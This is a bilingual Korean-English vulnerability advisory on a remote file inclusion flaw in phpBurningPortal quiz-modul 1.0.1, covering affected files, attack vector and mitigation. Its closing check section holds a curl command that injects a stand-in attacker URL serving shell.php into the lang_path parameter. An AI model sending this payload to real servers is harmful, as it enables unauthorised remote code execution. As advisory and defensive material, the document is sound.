🇰🇷 한글 설명
phpBurningPortal의 quiz-modul 1.0.1 이전 버전에서 lang_path 매개변수를 통한 원격 파일 포함 취약점이 존재합니다. 공격자는 quest_delete.php, quest_edit.php, quest_news.php 파일에 악의적인 URL을 전달하여 서버에서 임의의 PHP 코드를 실행할 수 있습니다.
💡 쉬운 설명
웹사이트가 사용자의 입력을 충분히 검증하지 않아 원격 서버의 악성 코드를 실행하도록 속을 수 있습니다. 공격자가 특정 파일에 원격 파일 경로를 삽입하면 서버가 그 코드를 실행해버립니다.
🇺🇸 원문 (English)
Multiple PHP remote file inclusion vulnerabilities in phpBurningPortal quiz-modul 1.0.1, and possibly earlier, allow remote attackers to execute arbitrary PHP code via a URL in the lang_path parameter to (1) quest_delete.php, (2) quest_edit.php, or (3) quest_news.php.
📍 영향받는 시스템
phpBurningPortal quiz-modul 버전 1.0.1 및 그 이전 버전
⚔️ 공격 벡터
HTTP GET/POST 요청으로 quest_delete.php/quest_edit.php/quest_news.php에 lang_path 매개변수에 악성 URL 주입
🛡️ 대응 방법
phpBurningPortal을 최신 버전으로 업그레이드하거나, lang_path 매개변수 입력값 검증 및 파일 포함 방식을 화이트리스트 기반으로 변경
🔧 검증 코드
응답에서 원격 URL이 로드되거나 PHP 에러 메시지, 쉘 코드 실행 흔적이 보이면 취약점이 존재함을 의미합니다. 안전한 시스템은 입력값 검증으로 인해 접근을 거부합니다.
curl -s 'http://target/quest_delete.php?lang_path=http://attacker.com/shell.php' | grep -i 'php\|shell\|warning'